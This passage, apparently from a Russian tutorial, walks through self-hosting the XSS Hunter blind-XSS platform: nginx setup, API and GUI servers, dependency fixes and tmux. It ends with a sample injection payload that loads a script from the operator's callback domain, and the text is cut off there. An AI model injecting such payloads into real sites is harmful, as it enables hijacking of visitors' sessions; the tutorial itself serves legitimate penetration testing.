\u042f \u043d\u0430\u0437\u044b\u0432\u0430\u044e \u0444\u0430\u0439\u043b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u0438\u0437 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0431\u044b\u043b\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u043a \u043a\u0430\u043a\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0438\u0441\u0443 \u043e\u043d \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442.<\/p>\n<p>  \u041d\u0438\u0436\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u043e, \u043a\u0430\u043a \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c!<\/p>\n<pre><code class=\"bash\"># move file and give proper name cp xsshunter\/default \/etc\/nginx\/sites-available\/xsshunter-mydomain.com  # symlink the file to sites-enabled to make it active ln -s \/etc\/nginx\/sites-available\/xsshunter-mydomain.com  \/etc\/nginx\/sites-enabled\/xsshunter-mydomain.com  # test for errors in the configuration sudo nginx -t  # if no errors, restart nginx for changes to take effect sudo systemctl restart nginx<\/code><\/pre>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 Timeweb<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"bash\">root@372526-twosa:~\/xsshunter# cp default \/etc\/nginx\/sites-available\/372526-twosa.tmweb.ru root@372526-twosa:~\/xsshunter# ln \/etc\/nginx\/sites-available\/372526-twosa.tmweb.ru \/etc\/nginx\/sites-enabled\/372526-twosa.tmweb.ru root@372526-twosa:~\/xsshunter# nginx -t root@372526-twosa:~\/xsshunter# systemctl restart nginx<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u0415\u0441\u043b\u0438 \u0432\u044b \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u0440\u0430\u043d\u044c\u0448\u0435 \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0438 nginx, \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439:<\/p>\n<p>  <code>sudo systemctl start nginx<\/code><\/p>\n<h3>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 API<\/h3>\n<p>  \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u0441\u0435\u0440\u0432\u0435\u0440\u0443 API \u0442\u0430\u043a\u0436\u0435 \u043d\u0443\u0436\u043d\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438.<\/p>\n<p>  \u0412 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0435 \u0441\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443:<\/p>\n<p>  <code>sudo apt-get install python-virtualenv python-dev libpq-dev libffi-dev<\/code><\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 Timeweb<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"bash\">root@372526-twosa:~\/xsshunter# apt-get install python-virtualenv python-dev libpq-dev libffi-dev<\/code><\/pre>\n<blockquote><p>\u0421\u0442\u043e\u0438\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c, \u0447\u0442\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e python-virtualenv \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0438\u043d\u0441\u0442\u0430\u043b\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c pip.<\/p><\/blockquote>\n<p>  <\/div>\n<\/p><\/div>\n<p>  <b>\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c!<\/b><\/p>\n<p>  \u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0443 \u043c\u0435\u043d\u044f \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 <b>virtualenv<\/b>, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b \u0441\u0435\u0440\u0432\u0435\u0440 API \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <\/p>\n<p>  <code>pip install virtualenv<\/code><\/p>\n<p>  \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0440\u0435\u0448\u0435\u043d\u0430, \u044f \u0441\u043c\u043e\u0433 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c!<br \/>  \u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u0432 \u043d\u0443\u0436\u043d\u0443\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e.<br \/>  \u041e\u043a\u0430\u0437\u0430\u0432\u0448\u0438\u0441\u044c \u0432 \u043d\u0443\u0436\u043d\u043e\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443.<br \/>  \u0412\u043e\u0442 \u043a\u0430\u043a \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c:<\/p>\n<pre><code class=\"bash\"># change folder - you know that already! cd xsshunter\/api  # find your Python2 executable path which python2  # create a python2 virtual environment in the env folder virtualenv -p MY\/EXECUTABLE\/PATH env<\/code><\/pre>\n<p>  \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0432\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0438 <b>MY\/EXECUTABLE\/PATH<\/b> \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0431\u044b\u043b\u043e \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b <b>which python2<\/b>. \u0414\u043b\u044f \u043c\u0435\u043d\u044f \u044d\u0442\u043e: <b>\/usr\/bin\/python2<\/b>.<\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043c\u044b \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443, \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0439\u0442\u0435 \u0435\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b. \u0412\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0432 \u0432\u0430\u0448\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435.<\/p>\n<pre><code class=\"bash\"># activate environment . env\/bin\/activate<\/code><\/pre>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 Timeweb<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"bash\">root@372526-twosa:~\/xsshunter\/api# . env\/bin\/activate (env) root@372526-twosa:~\/xsshunter\/api# ls apiserver.py  env  logs  models  probe.js  requirements.txt  templates<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/cg\/h8\/j7\/cgh8j7k-ihmkzgnyg6xm4aohpn4.png\"><\/p>\n<p>  \u041d\u0430\u0431\u043b\u044e\u0434\u0430\u044e\u0442\u0441\u044f \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f.<\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043c\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0432\u043d\u0435\u0441\u0442\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u0444\u0430\u0439\u043b <b>requirements.txt<\/b>:<\/p>\n<p>  1. <b>psycopg2 == 2.6.1 <\/b>=&gt; <b>psycopg2 == 2.7.3.1<\/b><br \/>  2. <b>bcrypt == 2.0.0<\/b> =&gt; <b>bcrypt == 3.1.7<\/b><\/p>\n<p>  \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043b\u044e\u0431\u0438\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e. \u042f \u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0441\u044c VIM.<\/p>\n<p>  \u041a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0441\u0434\u0435\u043b\u0430\u043d\u043e, \u043f\u043e\u0440\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0441\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 API, \u0447\u0442\u043e\u0431\u044b \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0432\u0441\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c!<\/p>\n<pre><code class=\"bash\"># install requirements pip install -r requirements.txt  # run the API server .\/apiserver.py<\/code><\/pre>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 Timeweb<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"bash\">(env) root@372526-twosa:~\/xsshunter\/api# pip install -r requirements.txt (env) root@372526-twosa:~\/xsshunter\/api# .\/apiserver.py<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0434\u043e\u043b\u0436\u043d\u0430 \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0435. Api-\u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u044c. \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0432\u044b\u0432\u043e\u0434\u0430 \u2014 \u0445\u043e\u0440\u043e\u0448\u0438\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438!<\/p>\n<p>  \u041c\u044b \u0445\u043e\u0442\u0438\u043c \u0432\u043d\u0435\u0441\u0442\u0438 \u0435\u0449\u0435 \u043e\u0434\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 api. \u041f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 <b>0.0.0.0<\/b>, \u043d\u043e \u043c\u044b \u043f\u0440\u043e\u043a\u0441\u0438\u0440\u0443\u0435\u043c \u0447\u0435\u0440\u0435\u0437 NGINX. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0432 \u044d\u0442\u043e\u043c \u043d\u0435\u0442 \u0441\u043c\u044b\u0441\u043b\u0430. \u041c\u044b \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0430 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u043d\u0438\u0435 \u043d\u0430 <b>localhost<\/b>. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c.<\/p>\n<p>  \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440, \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u0435 \u0441\u0442\u0440\u043e\u043a\u0443 684 \u0432 <b>apiserver.py<\/b> \u0441<br \/>  <b>app.listen( 8888 )<\/b> \u043d\u0430 <b>app.listen( 8888, \u00ablocalhost\u00bb )<\/b>.<\/p>\n<p>  \u0421\u043f\u0430\u0441\u0438\u0431\u043e <a href=\"https:\/\/github.com\/swarley7\">swarley7<\/a> \u0437\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0441\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u0432 \u044d\u0442\u043e\u043c <a href=\"https:\/\/github.com\/mandatoryprogrammer\/xsshunter\/pull\/20\">pull request<\/a>.<\/p>\n<p>  \u041d\u0430\u043a\u043e\u043d\u0435\u0446-\u0442\u043e: \u041e\u0448\u0438\u0431\u043a\u0430, \u0438\u0437-\u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0435\u0441\u043b\u0438 \u043f\u0430\u043f\u043a\u0430 \/uploads \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u042d\u0442\u0438\u043c \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0441\u044f <a href=\"https:\/\/github.com\/sampsonc\">sampsonc<\/a> \u0432 \u044d\u0442\u043e\u043c <a href=\"https:\/\/github.com\/mandatoryprogrammer\/xsshunter\/pull\/10\">pull request<\/a>.<\/p>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u043f\u0430\u043f\u043a\u0443 \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043c!<\/p>\n<pre><code class=\"bash\"># create uploads folder mkdir xsshunter\/api\/uploads<\/code><\/pre>\n<h3>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 GUI-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 <\/h3>\n<p>  \u042d\u0442\u043e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u0445\u043e\u0436 \u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 api, \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0449\u0435.<\/p>\n<p>  \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043c \u0432 \u043f\u0430\u043f\u043a\u0443 gui, \u0441\u043e\u0437\u0434\u0430\u0435\u043c \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443, \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u043c \u0435\u0435 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438.<\/p>\n<pre><code class=\"bash\"># change folder - you know that already! cd xsshunter\/gui  # find your Python2 executable path which python2  # create a python2 virtual environment in the env folder virtualenv -p MY\/EXECUTABLE\/PATH env  # activate environment . env\/bin\/activate  # install requirements pip install -r requirements.txt  # run the GUI server .\/guiserver.py<\/code><\/pre>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 Timeweb<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"bash\">root@372526-twosa:~\/xsshunter# cd xsshunter\/gui root@372526-twosa:~\/xsshunter\/gui# which python2 \/usr\/bin\/python2 (env) root@372526-twosa:~\/xsshunter\/gui# virtualenv -p \/usr\/bin\/python2 env (env) root@372526-twosa:~\/xsshunter\/gui# . env\/bin\/activate (env) root@372526-twosa:~\/xsshunter\/gui# pip install -r requirements.txt (env) root@372526-twosa:~\/xsshunter\/gui# .\/guiserver.py<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u041e\u043f\u044f\u0442\u044c \u0436\u0435, \u043a\u0430\u043a \u0438 \u043f\u0440\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 API-\u0441\u0435\u0440\u0432\u0435\u0440\u0430:<\/p>\n<p>  \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0432\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0438 <b>MY\/EXECUTABLE\/PATH<\/b> \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0431\u044b\u043b\u043e \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b which python2. \u0414\u043b\u044f \u043c\u0435\u043d\u044f \u044d\u0442\u043e: <b>\/usr\/bin\/python2<\/b>.<\/p>\n<p>  \u0417\u0434\u0435\u0441\u044c \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0432\u044b\u0432\u043e\u0434\u0430 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 <b>.\/guiserver<\/b> \u2014 \u044d\u0442\u043e \u0445\u043e\u0440\u043e\u0448\u0430\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c.<\/p>\n<p>  \u0422\u0430\u043a\u0436\u0435, \u043a\u0430\u043a \u0438 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c API, \u043c\u044b \u0445\u043e\u0442\u0438\u043c \u043f\u0440\u043e\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 NGINX, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 <b>0.0.0.0<\/b>.<\/p>\n<p>  \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440, \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u0435 \u0441\u0442\u0440\u043e\u043a\u0443 70 \u0432 <b>guiserver.py<\/b> \u0441<br \/>  <b>app.listen( 1234 )<\/b> \u043d\u0430 <b>app.listen( 1234, \u00ablocalhost\u00bb ).<\/b><\/p>\n<h3>\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0448\u0442\u0440\u0438\u0445\u0438<\/h3>\n<p>  \u041f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u2014 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043e\u0431\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0412 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u043c \u043f\u043e\u0441\u0442\u0435 \u0432 \u0431\u043b\u043e\u0433\u0435 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c tmux. \u041e\u043d \u043d\u0435 \u0438\u0434\u0435\u0430\u043b\u0435\u043d \u0434\u043b\u044f \u043f\u0440\u043e\u0434\u0430\u043a\u0448\u0435\u043d\u0430, \u043d\u043e \u043c\u044b \u0445\u0430\u043a\u0435\u0440\u044b, \u0442\u0430\u043a \u0447\u0442\u043e \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0435\u043c \u044d\u0442\u043e! \u0415\u0441\u043b\u0438 \u0432\u0430\u043c \u043d\u0443\u0436\u0435\u043d \u0431\u043e\u043b\u0435\u0435 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441, \u044f \u043e\u0441\u0442\u0430\u0432\u043b\u044e \u044d\u0442\u043e \u0432\u0430\u043c \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0443\u043f\u0440\u0430\u0436\u043d\u0435\u043d\u0438\u044f.<\/p>\n<p>  \u0412\u043e\u0442 \u043a\u0430\u043a \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u044d\u0442\u043e \u0432\u0441\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e tmux. \u0415\u0441\u043b\u0438 \u0432\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u043f\u043e\u043c\u043e\u0449\u044c, \u0437\u0434\u0435\u0441\u044c \u0435\u0441\u0442\u044c \u043e\u0442\u043b\u0438\u0447\u043d\u0430\u044f <a href=\"https:\/\/tmuxcheatsheet.com\/\">\u0448\u043f\u0430\u0440\u0433\u0430\u043b\u043a\u0430<\/a>!<\/p>\n<pre><code class=\"bash\"># start a session tmux session -new xsshunter  # change to api directory cd xsshunter\/api  #run api server .\/apiserver  # open new pane [ctrl]+[b] -&gt; [c]  # change to gui directory cd xsshunter\/gui  # run gui server .\/guiserver  # detach from session [ctrl]+[b] -&gt; [d]  # extra: if you want to open the session again tmux attach-session -t xsshunter<\/code><\/pre>\n<p>  \u0418 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435!<\/p>\n<p>  \u041e\u0442\u043a\u0440\u043e\u0439\u0442\u0435 \u0441\u0432\u043e\u0439 \u0434\u043e\u043c\u0435\u043d \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435, \u043f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043b\u0438 \u0432\u0430\u0441 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 xsshunter!<br \/>  \u041e\u043d\u0430 \u0434\u043e\u043b\u0436\u0435\u043d \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u043f\u0435\u0440\u0432\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0441\u0430\u0439\u0442\u0430 <a href=\"https:\/\/xsshunter.com\/\">xsshunter.com<\/a>.<\/p>\n<p>  \u041f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c? \u041f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u044e!<br \/>  \u0412\u0440\u0435\u043c\u044f \u0440\u0430\u0437\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0438\u0432\u043e \u043f\u043e \u0431\u043e\u043a\u0430\u043b\u0430\u043c!<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ya\/dh\/9x\/yadh9xjiwicpgv0-nu6kzbdcrdi.gif\"><\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c<\/b>                         <\/p>\n<div class=\"spoiler_text\">\u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043c \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 (https:\/\/www.372526-twosa.tmweb.ru\/signup) \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0438 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u0444\u043e\u0440\u043c\u0443 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/9h\/o1\/zr\/9ho1zrj-xqcimn_6pdb50suj9iw.png\"><\/p>\n<p>  \u0421\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b <a href=\"https:\/\/www.372526-twosa.tmweb.ru\/app\">www.372526-twosa.tmweb.ru\/app<\/a> \u0438\u0437 \u0432\u043a\u043b\u0430\u0434\u043a\u0438 Payload \u0432\u043e\u0437\u044c\u043c\u0435\u043c \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043a\u0430\u043a\u043e\u0439-\u043d\u0438\u0431\u0443\u0434\u044c \u043f\u0435\u0439\u043b\u043e\u0430\u0434. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:<\/p>\n<p>  <code>&quot;&gt;&lt;script src=https:\/\/tw.372526-twosa.tmweb.ru&gt;&lt;\/script&gt;<\/code><\/p>\n<p>  \u0414\u043b\u044f \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430\u0440\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043c\u044b \u043c\u043e\u0436\u0435\u043c 